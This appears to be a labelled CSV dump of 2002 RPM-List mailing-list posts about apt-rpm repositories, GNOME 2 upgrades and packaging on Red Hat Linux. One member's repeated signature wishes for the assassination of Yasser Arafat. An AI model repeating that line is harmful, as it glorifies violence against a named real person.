mailing list http://lists.freshrpms.net/mailman/listinfo/rpm-list",0,1 Chris Weyl ,rpm-zzzlist@freshrpms.net,21 Jul 2002 13:02:12 -0500,Re: Ximian apt repos?,"On Sun, 2002-07-21 at 10:51, Brian Fahrlander wrote: > [branching the thread, here] > > I found another Ximian repository- I don't know if it works yet... And even one more at: http://apt-rpm.codefactory.se/ (rh7.2 + 7.3, Ximian & gnomehide). -Chris _______________________________________________ RPM-List mailing list http://lists.freshrpms.net/mailman/listinfo/rpm-list",0,1 Matthias Haase ,rpm-zzzlist@freshrpms.net,"Mon, 22 Jul 2002 14:58:22 +0200",Re: gentoo 0.11.28 is out..,"On Fri, 19 Jul 2002 18:40:52 +0200 Matthias Saou wrote: > I'll put up the next version as soon as it's out hoping it'll fix all > current issues! Hi, Matthias, gentoo 0.11.30 is out now and the 'copy nested directory' bug is fixed, see ChangeLog on http://sourceforge.net/project/shownotes.php?group_id=32880&release_id=100766 -- regards from Germany Matthias _______________________________________________ RPM-List mailing list http://lists.freshrpms.net/mailman/listinfo/rpm-list",0,1 che ,rpm-zzzlist@freshrpms.net,"Mon, 22 Jul 2002 14:40:04 -0400",central management,"hello! well in my eyes something like a public contrib repository would be nice (where everyone can at least upload spec files) and a something like a ""repository directory"" with a collection of available repositorys and their content. i am personally on a dsl dialup connection with 16kb/s upstream cap and that kinda sucks perhaps i am gonna still create a respository for small windowmaker dockapps in the future :). what do you think? thanks, che _______________________________________________ RPM-List mailing list http://lists.freshrpms.net/mailman/listinfo/rpm-list",0,1 che ,rpm-zzzlist@freshrpms.net,"Sun, 21 Jul 2002 14:50:13 -0400",Re: Ximian apt repos?,"On 21 Jul 2002 23:59:59 +1200 Mark Derricutt wrote: > On Mon, 2002-07-22 at 06:20, che wrote: > > > The server mentioned above works again now :)! > > Any problems with the rpm's they provided? > > > _______________________________________________ > RPM-List mailing list > http://lists.freshrpms.net/mailman/listinfo/rpm-list #redhat 7.3 rpm http://apt.sunnmore.net gnome2 73 rpm-src http://apt.sunnmore.net gnome2 73 #redhat 7.2 rpm http://apt.sunnmore.net gnome2 72 rpm-src http://apt.sunnmore.net gnome2 72 thats the correct lines to be added to sources.list for the repository i just did a apt-get install gnome-session its still progressing :) _______________________________________________ RPM-List mailing list http://lists.freshrpms.net/mailman/listinfo/rpm-list",0,1 """Nils O. Selsdal"" ",rpm-zzzlist@freshrpms.net,"Mon, 22 Jul 2002 14:00:49 +0200",Re: My Repository...,"[yes, I know I'm replying to myself!] > Your page has a typo; > > http://utelsystems.dyndns.org lists: > rpm http://utelsystems.dyndns.org/apt redhat testingrh73 > rpm-src http://utelsystems.dyndns.org/apt redhat testing73 <-- > > This is why I'm so stubborn about using cut-and-paste; not only is it easy, it's typo-free. :) > > Wouldn't it be nice if there was a way to manage these automagically? Some central site to make them available to the rest of the world, every time there's a ""apt-get update""? :) it sure would. >Also- I noticed this repo has about an 8K bandwidth. I know, i know. Its an ADSL connection. Should habe 128K ;-( Feel free to give me access to an web/ftp server with big pipes.. - _______________________________________________ RPM-List mailing list http://lists.freshrpms.net/mailman/listinfo/rpm-list",0,1 Matthias Saou ,rpm-zzzlist@freshrpms.net,"Mon, 22 Jul 2002 14:07:22 +0200",Re: My Repository...,"Once upon a time, Brian wrote : > Also- I noticed this repo has about an 8K bandwidth. Is there a way > I can put this behind the others, so I don't hammer it for things > that are at other repos? I'm respectful about bandwidth, having > lived on dialup for so long. Now I'm on fiber optic and it's a whole > other world... Sure, just use ""os"" and ""updates"" from apt.freshrpms.net for instance then add the lines for that repository with only the module you want/need (here it's ""testing73"" I guess). Matthias -- Matthias Saou World Trade Center ------------- Edificio Norte 4 Planta System and Network Engineer 08039 Barcelona, Spain Electronic Group Interactive Phone : +34 936 00 23 23 _______________________________________________ RPM-List mailing list http://lists.freshrpms.net/mailman/listinfo/rpm-list",0,1 Brian Fahrlander ,rpm-zzzlist@freshrpms.net,"Sat, 20 Jul 2002 21:15:51 -0500",Re: Ximian apt repos?,"On 20 Jul 2002 17:17:59 -0500, Chris Weyl wrote: > Just a quick question.... does anyone know of a public Ximian apt/rpm > repository? > > (I know, I know.... but some ppl kinda like it:-)) Yeah, I'm one of them. Ximian, if it could be installed from Apt would be sweet- the graphics are done very, very well. The usability is actually higher than most other environments. But their installer really sucks. If you find/setup one (and figure out how to install it) let me know. ------------------------------------------------------------------------ Brian Fahrlnder Linux Zealot, Conservative, and Technomad Evansville, IN My Voyage: http://www.CounterMoon.com ICQ 5119262 ------------------------------------------------------------------------ I don't want to hear news from Isreal until the news contains the words ""Bullet"", ""Brain"", and ""Arafat"". _______________________________________________ RPM-List mailing list http://lists.freshrpms.net/mailman/listinfo/rpm-list",0,1 Harri Haataja ,rpm-zzzlist@freshrpms.net,"Sun, 21 Jul 2002 17:28:41 +0300",Re: Ximian apt repos?,"On Sun, Jul 21, 2002 at 09:11:08AM -0500, Brian Fahrlander wrote: > On Sun, 21 Jul 2002 15:12:11 -0400, che wrote: > > > > > The server mentioned above works again now :)! > > > > Any problems with the rpm's they provided? > > > #redhat 7.3 > > > rpm http://apt.sunnmore.net gnome2 73 > > > rpm-src http://apt.sunnmore.net gnome2 73 > > after apt-get install gnome-session > Does it work more than once? > Failed to fetch http://apt.sunnmore.net/gnome2/filename-here.rpm > 404 Not Found I got that with the earlier URL. Those that say 73/72 at the end work, though. I just installed gnome-terminal and I'm impressed by that. I have seom gtk1 apps to rebuild and put into my own repository (like gaim) so I didn't do the full session install. Besides, it's HUGE. And it wants to install stuff like kudzu and parted and who knows what. What's wrong with dynamic configuration? Dependency hell indeed. -- > wd0: 1671040 partitions found That's a lie. Ignore it. -- Seen on xMach mailing list _______________________________________________ RPM-List mailing list http://lists.freshrpms.net/mailman/listinfo/rpm-list",0,1 Harri Haataja ,rpm-zzzlist@freshrpms.net,"Mon, 22 Jul 2002 12:41:56 +0300",Re: Ximian apt repos?,"On Sun, Jul 21, 2002 at 04:15:16PM -0500, Lance wrote: > So to update from GNOME 1.4 to 2.0, after modifying > /etc/apt/sources.list, I just issue 'apt-update' then 'apt-install > gnome-session' ? Apparently, yes. Though for me it did suggest all sorts of creepy stuff. After installing packages one by one and removing some old stuff and whatnot, the original gnome-session from there suddenly no longer wanted parted and all that. Go figure. > Also Gaim doesn't work with GNOME 2.0 just yet? If you strip out the gnome stuff, it still runs as a Gtk app without the applet. Maybe you can even leave in the old panel and all that but I think some files will conflict and have to be overridden with --replace-files (dangerous). I just rebuilt gaim and made a few changes to the .spec adding --without-gnome to %configure or such. It might be nice to separate the panel version from the actual program like debian does. Also, bubblemon no longer compiled for me and Yelp had some broken dependency there. -- If you only want to go 500 miles, can you begin with a halfstep? _______________________________________________ RPM-List mailing list http://lists.freshrpms.net/mailman/listinfo/rpm-list",0,1 Brian Fahrlander ,rpm-zzzlist@freshrpms.net,"Mon, 22 Jul 2002 06:16:19 -0500",Re: My Repository...,"On Mon, 22 Jul 2002 09:42:18 +0200, ""Nils O. Selsdal"" wrote: > Just for your information, I have an apt-repository for RH 7.3 at > http://utelsystems.dyndns.org > -- > NOS@Utel.no Your page has a typo; http://utelsystems.dyndns.org lists: rpm http://utelsystems.dyndns.org/apt redhat testingrh73 rpm-src http://utelsystems.dyndns.org/apt redhat testing73 <-- This is why I'm so stubborn about using cut-and-paste; not only is it easy, it's typo-free. :) Wouldn't it be nice if there was a way to manage these automagically? Some central site to make them available to the rest of the world, every time there's a ""apt-get update""? :) ------------------------------------------------------------------------ Brian Fahrlnder Linux Zealot, Conservative, and Technomad Evansville, IN My Voyage: http://www.CounterMoon.com ICQ 5119262 ------------------------------------------------------------------------ I don't want to hear news from Isreal until the news contains the words ""Bullet"", ""Brain"", and ""Arafat"". _______________________________________________ RPM-List mailing list http://lists.freshrpms.net/mailman/listinfo/rpm-list",0,1 Brian Fahrlander ,rpm-zzzlist@freshrpms.net,"Mon, 22 Jul 2002 06:36:23 -0500",Re: My Repository...,"On Mon, 22 Jul 2002 06:16:19 -0500, Brian Fahrlander wrote: [yes, I know I'm replying to myself!] > Your page has a typo; > > http://utelsystems.dyndns.org lists: > rpm http://utelsystems.dyndns.org/apt redhat testingrh73 > rpm-src http://utelsystems.dyndns.org/apt redhat testing73 <-- > > This is why I'm so stubborn about using cut-and-paste; not only is it easy, it's typo-free. :) > > Wouldn't it be nice if there was a way to manage these automagically? Some central site to make them available to the rest of the world, every time there's a ""apt-get update""? :) Also- I noticed this repo has about an 8K bandwidth. Is there a way I can put this behind the others, so I don't hammer it for things that are at other repos? I'm respectful about bandwidth, having lived on dialup for so long. Now I'm on fiber optic and it's a whole other world... ------------------------------------------------------------------------ Brian Fahrlnder Linux Zealot, Conservative, and Technomad Evansville, IN My Voyage: http://www.CounterMoon.com ICQ 5119262 ------------------------------------------------------------------------ I don't want to hear news from Isreal until the news contains the words ""Bullet"", ""Brain"", and ""Arafat"". _______________________________________________ RPM-List mailing list http://lists.freshrpms.net/mailman/listinfo/rpm-list",0,1 che ,rpm-zzzlist@freshrpms.net,"Sun, 21 Jul 2002 15:12:11 -0400",Re: Ximian apt repos?,"On Sun, 21 Jul 2002 14:50:13 -0400 che wrote: > On 21 Jul 2002 23:59:59 +1200 > Mark Derricutt wrote: > > > On Mon, 2002-07-22 at 06:20, che wrote: > > > > > The server mentioned above works again now :)! > > > > Any problems with the rpm's they provided? > > > > > > _______________________________________________ > > RPM-List mailing list > > http://lists.freshrpms.net/mailman/listinfo/rpm-list > > #redhat 7.3 > rpm http://apt.sunnmore.net gnome2 73 > rpm-src http://apt.sunnmore.net gnome2 73 > > #redhat 7.2 > rpm http://apt.sunnmore.net gnome2 72 > rpm-src http://apt.sunnmore.net gnome2 72 > > thats the correct lines to be added to sources.list for the repository > > i just did a apt-get install gnome-session its still progressing :) > after apt-get install gnome-session i did another apt-get upgrade (25 more packages) and it works now... i am in gnome 2.0 wohooooo :) looks very great very ""tidy"" only error message i got was about a mixer applet on login (no biggie to me) even the old sawfish still works. yet its great and works cant say anythign negative yet :) just btw. if someone knows any other nice repositorys please post em :). thanks in advance, che > _______________________________________________ > RPM-List mailing list > http://lists.freshrpms.net/mailman/listinfo/rpm-list _______________________________________________ RPM-List mailing list http://lists.freshrpms.net/mailman/listinfo/rpm-list",0,1 Mark Derricutt ,rpm-zzzlist@freshrpms.net,21 Jul 2002 14:20:42 +1200,Re: Ximian apt repos?,"I found the following mentioned on a news.gnome.org usenet posting. I've not yet tried it thou. AFAIK this is just the gnome2 rpms, but there ximian's, don't know what else is on the apt repository either, must take a look around. Mark # Gnome2 - mentioned on news.gnome.org rpm http://apt.sunnmore.net/ gnome2 gnome2 rpm-src http://apt.sunnmore.net/ gnome2 gnome2 On Sun, 2002-07-21 at 14:15, Brian Fahrlander wrote: > On 20 Jul 2002 17:17:59 -0500, Chris Weyl wrote: > > > Just a quick question.... does anyone know of a public Ximian apt/rpm > > repository? > > > > (I know, I know.... but some ppl kinda like it:-)) > > Yeah, I'm one of them. Ximian, if it could be installed from Apt would be sweet- the graphics are done very, very well. The usability is actually higher than most other environments. But their installer really sucks. > > If you find/setup one (and figure out how to install it) let me know. > > ------------------------------------------------------------------------ > Brian Fahrlnder Linux Zealot, Conservative, and Technomad > Evansville, IN My Voyage: http://www.CounterMoon.com > ICQ 5119262 > ------------------------------------------------------------------------ > I don't want to hear news from Isreal until the news contains the words > ""Bullet"", ""Brain"", and ""Arafat"". > > _______________________________________________ > RPM-List mailing list > http://lists.freshrpms.net/mailman/listinfo/rpm-list > _______________________________________________ RPM-List mailing list http://lists.freshrpms.net/mailman/listinfo/rpm-list",0,1 Brian Fahrlander ,rpm-zzzlist@freshrpms.net,"Sun, 21 Jul 2002 09:11:08 -0500",Re: Ximian apt repos?,"On Sun, 21 Jul 2002 15:12:11 -0400, che wrote: > > > > The server mentioned above works again now :)! > > > > > > Any problems with the rpm's they provided? > > > > #redhat 7.3 > > rpm http://apt.sunnmore.net gnome2 73 > > rpm-src http://apt.sunnmore.net gnome2 73 > > > > #redhat 7.2 > > rpm http://apt.sunnmore.net gnome2 72 > > rpm-src http://apt.sunnmore.net gnome2 72 > > > > thats the correct lines to be added to sources.list for the repository > > > > i just did a apt-get install gnome-session its still progressing :) > > > > after apt-get install gnome-session > i did another apt-get upgrade (25 more packages) and it works now... i am in gnome 2.0 wohooooo :) looks very great very ""tidy"" only error message i got was about a mixer applet on login (no biggie to me) even the old sawfish still works. yet its great and works cant say anythign negative yet :) > > just btw. if someone knows any other nice repositorys please post em :). Does it work more than once? Failed to fetch http://apt.sunnmore.net/gnome2/filename-here.rpm 404 Not Found :) Server problems? Or is this a way to limit bandwidth? ------------------------------------------------------------------------ Brian Fahrlnder Linux Zealot, Conservative, and Technomad Evansville, IN My Voyage: http://www.CounterMoon.com ICQ 5119262 ------------------------------------------------------------------------ I don't want to hear news from Isreal until the news contains the words ""Bullet"", ""Brain"", and ""Arafat"". _______________________________________________ RPM-List mailing list http://lists.freshrpms.net/mailman/listinfo/rpm-list",0,1 che ,rpm-zzzlist@freshrpms.net,"Sun, 21 Jul 2002 05:11:08 -0400",Re: Ximian apt repos?,"On 21 Jul 2002 14:20:42 +1200 Mark Derricutt wrote: > I found the following mentioned on a news.gnome.org usenet posting. > I've not yet tried it thou. AFAIK this is just the gnome2 rpms, but > there ximian's, don't know what else is on the apt repository either, > must take a look around. > > Mark > > # Gnome2 - mentioned on news.gnome.org > rpm http://apt.sunnmore.net/ gnome2 gnome2 > rpm-src http://apt.sunnmore.net/ gnome2 gnome2 > > On Sun, 2002-07-21 at 14:15, Brian Fahrlander wrote: > > On 20 Jul 2002 17:17:59 -0500, Chris Weyl wrote: > > > > > Just a quick question.... does anyone know of a public Ximian apt/rpm > > > repository? > > > > > > (I know, I know.... but some ppl kinda like it:-)) > > > > Yeah, I'm one of them. Ximian, if it could be installed from Apt would be sweet- the graphics are done very, very well. The usability is actually higher than most other environments. But their installer really sucks. > > > > If you find/setup one (and figure out how to install it) let me know. > > > > ------------------------------------------------------------------------ > > Brian Fahrlnder Linux Zealot, Conservative, and Technomad > > Evansville, IN My Voyage: http://www.CounterMoon.com > > ICQ 5119262 > > ------------------------------------------------------------------------ > > I don't want to hear news from Isreal until the news contains the words > > ""Bullet"", ""Brain"", and ""Arafat"". > > > > _______________________________________________ > > RPM-List mailing list > > http://lists.freshrpms.net/mailman/listinfo/rpm-list > > > > Would be very nice indeed but the server doesent work for me :\ cant connect to the server! anyone else got a hint? thanks, che > > _______________________________________________ > RPM-List mailing list > http://lists.freshrpms.net/mailman/listinfo/rpm-list _______________________________________________ RPM-List mailing list http://lists.freshrpms.net/mailman/listinfo/rpm-list",0,1 Lance ,rpm-zzzlist@freshrpms.net,21 Jul 2002 16:15:16 -0500,Re: Ximian apt repos?,"So to update from GNOME 1.4 to 2.0, after modifying /etc/apt/sources.list, I just issue 'apt-update' then 'apt-install gnome-session' ? Also Gaim doesn't work with GNOME 2.0 just yet? On Sun, 2002-07-21 at 14:12, che wrote: > On Sun, 21 Jul 2002 14:50:13 -0400 > che wrote: > > > On 21 Jul 2002 23:59:59 +1200 > > Mark Derricutt wrote: > > > > > On Mon, 2002-07-22 at 06:20, che wrote: > > > > > > > The server mentioned above works again now :)! > > > > > > Any problems with the rpm's they provided? > > > > > > > > > _______________________________________________ > > > RPM-List mailing list > > > http://lists.freshrpms.net/mailman/listinfo/rpm-list > > > > #redhat 7.3 > > rpm http://apt.sunnmore.net gnome2 73 > > rpm-src http://apt.sunnmore.net gnome2 73 > > > > #redhat 7.2 > > rpm http://apt.sunnmore.net gnome2 72 > > rpm-src http://apt.sunnmore.net gnome2 72 > > > > thats the correct lines to be added to sources.list for the repository > > > > i just did a apt-get install gnome-session its still progressing :) > > > > after apt-get install gnome-session > i did another apt-get upgrade (25 more packages) and it works now... i am in gnome 2.0 wohooooo :) looks very great very ""tidy"" only error message i got was about a mixer applet on login (no biggie to me) even the old sawfish still works. yet its great and works cant say anythign negative yet :) > > just btw. if someone knows any other nice repositorys please post em :). > > thanks in advance, > che > > _______________________________________________ > > RPM-List mailing list > > http://lists.freshrpms.net/mailman/listinfo/rpm-list > > _______________________________________________ > RPM-List mailing list > http://lists.freshrpms.net/mailman/listinfo/rpm-list -- : ####[ Linux One Stanza Tip (LOST) ]########################### Sub : DOS to Unix conversion (#3) LOST #137 DOS text files with ^M can be cleared by pico editor. Load the dos text file in pico, Do a small edit job on it. (e.g. place a space and delete it again) .. Save .. Quit. All ^Ms gone !! ######################################## : _______________________________________________ RPM-List mailing list http://lists.freshrpms.net/mailman/listinfo/rpm-list",0,1 Lance ,rpm-zzzlist@freshrpms.net,22 Jul 2002 14:43:55 -0500,Re: Ximian apt repos?,"well, from the looks of things, Evolution mail client isn't supported just yet, so I reckon I'll wait a bit. Whoever posted these gnome2 apt repositories, thanks!!! Lance On Mon, 2002-07-22 at 04:41, Harri Haataja wrote: > On Sun, Jul 21, 2002 at 04:15:16PM -0500, Lance wrote: > > So to update from GNOME 1.4 to 2.0, after modifying > > /etc/apt/sources.list, I just issue 'apt-update' then 'apt-install > > gnome-session' ? > > Apparently, yes. Though for me it did suggest all sorts of creepy stuff. > After installing packages one by one and removing some old stuff and > whatnot, the original gnome-session from there suddenly no longer > wanted parted and all that. Go figure. > > > Also Gaim doesn't work with GNOME 2.0 just yet? > > If you strip out the gnome stuff, it still runs as a Gtk app without the > applet. Maybe you can even leave in the old panel and all that but I > think some files will conflict and have to be overridden with > --replace-files (dangerous). I just rebuilt gaim and made a few changes > to the .spec adding --without-gnome to %configure or such. It might be > nice to separate the panel version from the actual program like debian > does. > > Also, bubblemon no longer compiled for me and Yelp had some broken > dependency there. > > -- > If you only want to go 500 miles, can you begin with a halfstep? > > _______________________________________________ > RPM-List mailing list > http://lists.freshrpms.net/mailman/listinfo/rpm-list -- : ####[ Linux One Stanza Tip (LOST) ]########################### Sub : DOS to Unix conversion (#3) LOST #137 DOS text files with ^M can be cleared by pico editor. Load the dos text file in pico, Do a small edit job on it. (e.g. place a space and delete it again) .. Save .. Quit. All ^Ms gone !! ######################################## : _______________________________________________ RPM-List mailing list http://lists.freshrpms.net/mailman/listinfo/rpm-list",0,1 che ,rpm-zzzlist@freshrpms.net,"Mon, 22 Jul 2002 23:52:22 -0400",gaim official rpm repository,"gaim official apt-rpm repositorys :) #gaim rpm http://gaim.sourceforge.net/apt redhat/7.3/en/i386 release rpm-src http://gaim.sourceforge.net/apt redhat/7.3/en/i386 release thought i should post that one too just fell over it :) bye, che _______________________________________________ RPM-List mailing list http://lists.freshrpms.net/mailman/listinfo/rpm-list",0,1 Brian Fahrlander ,rpm-zzzlist@freshrpms.net,"Mon, 22 Jul 2002 21:25:29 -0500",Re: central management,"On Mon, 22 Jul 2002 14:40:04 -0400, che wrote: > hello! > well in my eyes something like a public contrib repository would be nice (where everyone can at least upload spec files) and a something like a ""repository directory"" with a collection of available repositorys and their content. > > i am personally on a dsl dialup connection with 16kb/s upstream cap and that kinda sucks perhaps i am gonna still create a respository for small windowmaker dockapps in the future :). > > what do you think? I was thinkinf about an addition of another file: apt-repositories. Stick it on apt.freshmeat.net (the center of the apt universe, IMHO) and every time a new repository is added, the RPM can be rebuilt. Heck, if I could get out of my depression, I could make the whole submission process automated....even making the RPM... ------------------------------------------------------------------------ Brian Fahrlnder Linux Zealot, Conservative, and Technomad Evansville, IN My Voyage: http://www.CounterMoon.com ICQ 5119262 ------------------------------------------------------------------------ I don't want to hear news from Isreal until the news contains the words ""Bullet"", ""Brain"", and ""Arafat"". _______________________________________________ RPM-List mailing list http://lists.freshrpms.net/mailman/listinfo/rpm-list",0,1 Matthias Saou ,rpm-zzzlist@freshrpms.net,"Tue, 23 Jul 2002 11:50:21 +0200",Re: central management,"Once upon a time, Brian wrote : > I was thinkinf about an addition of another file: apt-repositories. > Stick it on apt.freshmeat.net (the center of the apt universe, IMHO) > and every time a new repository is added, the RPM can be rebuilt. > Heck, if I could get out of my depression, I could make the whole > submission process automated....even making the RPM... Well, I already keep a list of known apt repositories on http://freshrpms.net/apt/ although I haven't added the ones that were talked about lately (actually I've been very busy over the week-end and I'm sick right now...). You could make the whole submission automated, even making the rpm? http://rpmforge.net/ needs *you*! Matthias -- Matthias Saou World Trade Center ------------- Edificio Norte 4 Planta System and Network Engineer 08039 Barcelona, Spain Electronic Group Interactive Phone : +34 936 00 23 23 _______________________________________________ RPM-List mailing list http://lists.freshrpms.net/mailman/listinfo/rpm-list",0,1 Lance ,rpm-zzzlist@freshrpms.net,23 Jul 2002 15:18:23 -0500,Re: central management,"Thanks for this, Matthias! Hope you feel better. Lance On Tue, 2002-07-23 at 04:50, Matthias Saou wrote: > Once upon a time, Brian wrote : > > > I was thinkinf about an addition of another file: apt-repositories. > > Stick it on apt.freshmeat.net (the center of the apt universe, IMHO) > > and every time a new repository is added, the RPM can be rebuilt. > > Heck, if I could get out of my depression, I could make the whole > > submission process automated....even making the RPM... > > Well, I already keep a list of known apt repositories on > http://freshrpms.net/apt/ although I haven't added the ones that were > talked about lately (actually I've been very busy over the week-end and I'm > sick right now...). > > You could make the whole submission automated, even making the rpm? > > http://rpmforge.net/ needs *you*! > > > Matthias > > -- > Matthias Saou World Trade Center > ------------- Edificio Norte 4 Planta > System and Network Engineer 08039 Barcelona, Spain > Electronic Group Interactive Phone : +34 936 00 23 23 > > _______________________________________________ > RPM-List mailing list > http://lists.freshrpms.net/mailman/listinfo/rpm-list -- : ####[ Linux One Stanza Tip (LOST) ]########################### Sub : Knowing contents of .tgz files LOST #015 To know the contents of a .tgz file without decompressing: $tar -ztvf filename.tgz | less A .tgz file is essentially a gzipped tarball (.tar.gz) file. ######################################## : _______________________________________________ RPM-List mailing list http://lists.freshrpms.net/mailman/listinfo/rpm-list",0,1 Roy-Magne Mo ,rpm-zzzlist@freshrpms.net,"Wed, 24 Jul 2002 00:18:27 +0200",apt repository for irssi,Seems like irssi.org also has an apt-rpm repository for snapshots of irssi: rpm http://ninja.no/apt 7.3/i386 irssi rpm-src http://ninja.no/apt 7.3/i386 irssi _______________________________________________ RPM-List mailing list http://lists.freshrpms.net/mailman/listinfo/rpm-list,0,1 Mark Derricutt ,rpm-zzzlist@freshrpms.net,"Wed, 24 Jul 2002 11:14:19 +1200",Re: apt repository for irssi,"Sadly, the last time I looked at it, it was only the console irssi client, no X :( --On Wednesday, July 24, 2002 00:18:27 +0200 Roy-Magne Mo wrote: > Seems like irssi.org also has an apt-rpm repository for snapshots of > irssi: _______________________________________________ RPM-List mailing list http://lists.freshrpms.net/mailman/listinfo/rpm-list",0,1 """"" Angles "" Puglisi"" ",rpm-zzzlist@freshrpms.net,"Wed, 24 Jul 2002 07:50:51 +0000",Re: Ximian apt repos?,"Lance (lance_tt@bellsouth.net) wrote*: > >well, from the looks of things, Evolution mail client isn't supported >just yet, so I reckon I'll wait a bit. Whoever posted these gnome2 apt >repositories, thanks!!! > I'm uising Havoc Pennington's Gnomehide and it rocks. I installed it before I knew about apt, but one of the previous emails had an apt repository that claimed to have gnomehide. Just remember there is one kew file that makes the difference between Gnome1 and Gnome2 being used. I *think* it is ""gnome-core"" vs. ""gnome-session"" but I can not remember. Note that that those same files are probably in the Limbo beta, except updated. There has not been a major change to ""gnomehide"" in a while, I suspect Havoc's work went into Limbo then. -- That's ""angle"" as in geometry. _______________________________________________ RPM-List mailing list http://lists.freshrpms.net/mailman/listinfo/rpm-list",0,1 """"" Angles "" Puglisi"" ",rpm-zzzlist@freshrpms.net,"Wed, 24 Jul 2002 07:56:27 +0000",Re: central management,"I build a lot of rpms but I'm to stupid/busy to ""apt-ize"" what I have. I wish it was apt enabled because I have several boxen and apt would help even with rpms that I build. Did I mention forgetful too? http://www.dudex.net/rpms che (che666@uni.de) wrote*: > >hello! >well in my eyes something like a public contrib repository would be nice (where everyone can at least upload spec files) and a something like a ""repository directory"" with a collection of available repositorys and their content. > >i am personally on a dsl dialup connection with 16kb/s upstream cap and that kinda sucks perhaps i am gonna still create a respository for small windowmaker dockapps in the future :). > >what do you think? > >thanks, >che > >_______________________________________________ >RPM-List mailing list > -- That's ""angle"" as in geometry. _______________________________________________ RPM-List mailing list http://lists.freshrpms.net/mailman/listinfo/rpm-list",0,1 Julian Missig ,rpm-zzzlist@freshrpms.net,24 Jul 2002 15:05:57 -0400,Re: Ximian apt repos?,"On Wed, 2002-07-24 at 03:50, Angles Puglisi wrote: > Lance (lance_tt@bellsouth.net) wrote*: > > > >well, from the looks of things, Evolution mail client isn't supported > >just yet, so I reckon I'll wait a bit. Whoever posted these gnome2 apt > >repositories, thanks!!! > > > > I'm uising Havoc Pennington's Gnomehide and it rocks. I installed it before I > knew about apt, but one of the previous emails had an apt repository that > claimed to have gnomehide. Just remember there is one kew file that makes the > difference between Gnome1 and Gnome2 being used. I *think* it is ""gnome-core"" > vs. ""gnome-session"" but I can not remember. > > Note that that those same files are probably in the Limbo beta, except > updated. There has not been a major change to ""gnomehide"" in a while, I > suspect Havoc's work went into Limbo then. Right, gnomehide is only updated when it's been a while since the last red hat release, and the next beta isn't out yet. Since the beta is out now, gnomehide won't be updated again for a while. Julian _______________________________________________ RPM-List mailing list http://lists.freshrpms.net/mailman/listinfo/rpm-list",0,1 Lance ,rpm-zzzlist@freshrpms.net,25 Jul 2002 01:45:15 -0500,Re: Ximian apt repos?,"Well, from the looks of things, I can import all my mail settings from Evolution to Sylpheed. Has anyone successfully run Sylpheed in Gnome 2.0? I noticed with 'apt-get install gnome-session' from the 'rpm http://apt.sunnmore.net gnome2 73' repository, Sylpheed isn't one of the packages selected for deletion. Lance On Wed, 2002-07-24 at 14:05, Julian Missig wrote: > On Wed, 2002-07-24 at 03:50, Angles Puglisi wrote: > > Lance (lance_tt@bellsouth.net) wrote*: > > > > > >well, from the looks of things, Evolution mail client isn't supported > > >just yet, so I reckon I'll wait a bit. Whoever posted these gnome2 apt > > >repositories, thanks!!! > > > > > > > I'm uising Havoc Pennington's Gnomehide and it rocks. I installed it before I > > knew about apt, but one of the previous emails had an apt repository that > > claimed to have gnomehide. Just remember there is one kew file that makes the > > difference between Gnome1 and Gnome2 being used. I *think* it is ""gnome-core"" > > vs. ""gnome-session"" but I can not remember. > > > > Note that that those same files are probably in the Limbo beta, except > > updated. There has not been a major change to ""gnomehide"" in a while, I > > suspect Havoc's work went into Limbo then. > > Right, gnomehide is only updated when it's been a while since the last > red hat release, and the next beta isn't out yet. Since the beta is out > now, gnomehide won't be updated again for a while. > > Julian > > > _______________________________________________ > RPM-List mailing list > http://lists.freshrpms.net/mailman/listinfo/rpm-list -- : ####[ Linux One Stanza Tip (LOST) ]########################### Sub : Monitoring su attempts LOST #115 In a multiuser system you may like to monitor all su attempts. Edit /etc/login.defs and edit SULOG_FILE as follows: SULOG_FILE /var/log/sulog ... (name of file to hold info) ######################################## : _______________________________________________ RPM-List mailing list http://lists.freshrpms.net/mailman/listinfo/rpm-list",0,1 Matthias Saou ,rpm-zzzlist@freshrpms.net,"Thu, 25 Jul 2002 11:07:00 +0200",Sylpheed with GNOME 2 (was Re: Ximian apt repos?),"Once upon a time, Lance wrote : > Well, from the looks of things, I can import all my mail settings from > Evolution to Sylpheed. Has anyone successfully run Sylpheed in Gnome > 2.0? I noticed with 'apt-get install gnome-session' from the 'rpm > http://apt.sunnmore.net gnome2 73' repository, Sylpheed isn't one of the > packages selected for deletion. I think that's simply because Sylpheed isn't a GNOME application, but a ""simple"" gtk+ one. It needs no GNOME libs at all, so upgrading to GNOME 2 but keeping gtk+ 1.2 will let you keep Sylpheed with no problem. Matthias PS : Expect 0.8.1 on freshrpms.net in a few minutes ;-) -- Matthias Saou World Trade Center ------------- Edificio Norte 4 Planta System and Network Engineer 08039 Barcelona, Spain Electronic Group Interactive Phone : +34 936 00 23 23 _______________________________________________ RPM-List mailing list http://lists.freshrpms.net/mailman/listinfo/rpm-list",0,1 Brian Fahrlander ,rpm-zzzlist@freshrpms.net,"Thu, 25 Jul 2002 04:27:22 -0500",Re: apt-get...universe (was: Sylpheed with GNOME 2,"On Thu, 25 Jul 2002 11:07:00 +0200, Matthias Saou wrote: > Once upon a time, Lance wrote : > > > Well, from the looks of things, I can import all my mail settings from > > Evolution to Sylpheed. Has anyone successfully run Sylpheed in Gnome > > 2.0? I noticed with 'apt-get install gnome-session' from the 'rpm > > http://apt.sunnmore.net gnome2 73' repository, Sylpheed isn't one of the > > packages selected for deletion. > > I think that's simply because Sylpheed isn't a GNOME application, but a > ""simple"" gtk+ one. It needs no GNOME libs at all, so upgrading to GNOME 2 > but keeping gtk+ 1.2 will let you keep Sylpheed with no problem. Yeah, mine works here; I did about the same thing. Hey: ""Universe"" I saw this keyword on the gstreamer website. They said something like ""If you're feeling froggy and want to jump into it, use apt-get gstreamer-universe"" but I've not gotten the syntax of it right, to get ""all"" of a project yet. Has anyone used this yet? ------------------------------------------------------------------------ Brian Fahrlnder Linux Zealot, Conservative, and Technomad Evansville, IN My Voyage: http://www.CounterMoon.com ICQ 5119262 ------------------------------------------------------------------------ I don't want to hear news from Isreal until the news contains the words ""Bullet"", ""Brain"", and ""Arafat"". _______________________________________________ RPM-List mailing list http://lists.freshrpms.net/mailman/listinfo/rpm-list",0,1 Matthias Saou ,rpm-zzzlist@freshrpms.net,"Thu, 25 Jul 2002 15:25:05 +0200",Re: Gstreamer update,"Once upon a time, Brian wrote : > > More information on that slick ""gstreamer-universe"" thing. > > Go to this page: http://gstreamer.net/releases/redhat > > They seem to have declared a a package called ""gstreamer-universe"" as > a collection of files. This is brilliant; what we need to do is get > someone with a Gnome2-universe and we'll be set, aye? :) > > Isn't that a cool idea? This is called ""pseudo-packages"" or ""meta-packages"" and Debian has been using them for ages. I think Mandrake also makes these kind of empty packages. Anyway, their use has been discussed here a while 